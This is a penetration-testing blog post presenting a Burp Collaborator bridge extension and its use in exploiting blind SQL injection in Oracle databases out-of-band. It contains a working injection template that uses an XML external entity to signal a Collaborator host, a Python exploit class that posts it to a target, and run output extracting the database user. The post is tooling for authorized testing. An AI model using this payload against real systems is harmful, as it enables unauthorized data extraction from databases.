Beyond detection: exploiting blind SQL injections with Burp Collaborator

It’s been a steady trend that most of our pentest projects revolve around web applications and/or involve database backends. The former part is usually made much easier by Burp Suite, which has a built-in scanner capable of identifying (among others) injections regarding latter. However, detection is only half of the work needed to be done; a good pentester will use a SQL injection or similar database-related security hole to widen the coverage of the test (obviously within the project scope). Burp continually improves its scanning engine but provides no means to this further exploitation of these vulnerabilities, so in addition to manual testing, most pentesters use standalone tools. With the new features available since Burp Suite 1.7.09, we’ve found a way to combine the unique talents of Burp with our database exploitation framework, resulting in pretty interesting functionality.

Many servers – including web applications and custom application APIs – make use of database backends, usually manipulated through the use of SQL. SQL injections were part of this game since the beginning, and although there are some specialized tools for exploiting such vulnerabilities, we found that sometimes simpler tools result in more productivity, thus Duncan was born, making exploiting SQL injection easier in many cases. This includes cases when the response from the server can be interpreted as two distinct values or some side channel (usually timing) must be used – this is usually called blind and time-based SQL-injection, respectively. However, there are other side channels as well, which were not as widely used.

When PortSwigger announced Burp Collaborator in April 2015, it was a game changer, since it made detecting out-of-band interactions possible. It did so by running several servers (DNS, HTTP, HTTPS, and later SMTP, IMAP and POP3) under its own domain and inserting unique subdomains (such as rvqhg498gxa339ere9i1lby1dsji77.​burpcollaborator.​net) into the payloads sent to the server and monitoring the aforementioned servers for any requests that refer to these subdomains. This makes for a much faster side channel than timing (and when delays cannot be introduced, this is the only side channel), so a few months later the Scanner engine started using it as well. I made an inquiry about the possibility of 3rd party tools making use of Collaborator in May 2016, and they already hinted in their response to opening it to developers. In October, they kept their promise and finally added an official Collaborator API.

However, this API is only available within Burp, and Duncan was not something I wanted to port to fit inside Burp – even though Burp supports plugins written in Python and Ruby, these use Jython and JRuby, which might lead to some unexpected complications. So I set out to create a universal extension that would create a bridge between the Burp Collaborator and any external program. Since Burp runs on multiple platforms, and such a bridge is useful only if it can be easily called from multiple programming languages, I decided to use MessagePack over TCP – for security reasons, it binds to localhost only on port 8452.

The GitHub repository contains

  • source code for the Burp Extender written in plain Java (2 simple classes),
  • source code for a minimal example client in Python, and
  • the full textual description of the protocol in the README file.

Although compiling the code is pretty straightforward, a compiled JAR file can be downloaded from the releases page on GitHub. Right now it has no GUI, it binds to the hardcoded port – however, it’s MIT licensed, so pull requests are welcome. ;)

With this tool in hand, Oracle exploitation can be made much easier. As the Oracle page in our long-time reference by pentestmonkey describes, time-based injection is not that easy in Oracle, as DBMS_LOCK.SLEEP can’t be embedded into SELECT statements, other solutions require UTL_INADDR, URL_HTTP and similar. However, as Burp developers wrote, “they all require assorted privileges that we might not have”. Nevertheless, this same blog post also described an XXE vulnerability in Oracle that could be abused as a side channel when combined with Collaborator.

With these in hand, the following Duncan class could be constructed:

tpl = """'||(SELECT CASE WHEN ASCII(SUBSTR(({s._query}),{s._pos},1))<{guess} \
THEN extractValue(XMLType('<?xml version="1.0" encoding="UTF-8"?>\
<!DOCTYPE poc [ <!ENTITY % s2 SYSTEM "http://{payload}/">%s2;]>'),'/l') \
ELSE '' END FROM dual)||'"""
 
class OracleDuncan(duncan.Duncan):
    def decide(self, guess):
        c = Client()
        payload = c.generate_payload(include_location=True)
        requests.post(url, data={'q': tpl.format(s=self, guess=guess,
            payload=payload)}, allow_redirects=False)
        return c.fetch_collaborator_interactions_for(payload)

The template takes the guess in Duncan and based on whether it evaluates to true or false, it invokes an XML operation that signals the Collaborator if and only if the expression was true. The Client class comes from the Python example client, url contains the target web application, and data is sent in the parameter named q within the URL-encoded POST body.

Since the Duncan framework that calls the decide method only tests whether the return value is “truthy”, we can return the list of collaborator interactions directly, since a list in Python is considered “truthy” if and only if it’s not empty – which in this case means that there was at least one Collaborator interaction with the unique payload used in the injected XML.

This method is not only faster than traditional time-based exploitation (which involves intentional delays on the server), but also allows for multithreaded operations, as all requests are independent with their unique tokens in the payload. Below is an example using Duncan with the above class to extract the name of the database user.

$ time python run_duncan.py --query 'SELECT user FROM dual' \
    --charset ABCDEFGHIJKLMNOPQRSTUVWXYZ --pos-start 1 --pos-end 5 \
    --use poc.OracleDuncan --threads 1
VSZA
5,33s user 0,03s system 27% cpu 19,518 total
$ time python run_duncan.py --query 'SELECT user FROM dual' \
    --charset ABCDEFGHIJKLMNOPQRSTUVWXYZ --pos-start 1 --pos-end 5 \
    --use poc.OracleDuncan --threads 2
VSZA
5,50s user 0,04s system 38% cpu 14,459 total
$ time python run_duncan.py --query 'SELECT user FROM dual' \
    --charset ABCDEFGHIJKLMNOPQRSTUVWXYZ --pos-start 1 --pos-end 5 \
    --use poc.OracleDuncan --threads 5
VSZA
5,54s user 0,07s system 50% cpu 11,165 total

As it can be seen above, 2 threads improved the runtime by 25%, while 5 threads resulted in a more than 40% improvement over the single-threaded version. In the test setup, raising the number of threads above 5 did not result in any measurable speedup, however, this could be attributed to the nature of the test service.

We hope that releasing our Burp Extender plugin will enable bridging other great tools with Collaborator, thus resulting in successful exploitation in cases where a vulnerability was previously thought to be only exploitable by traditional blind techniques, widening the coverage of the pentest. Happy hacking!

Thanks to József Marton for providing an Oracle Database account for this post.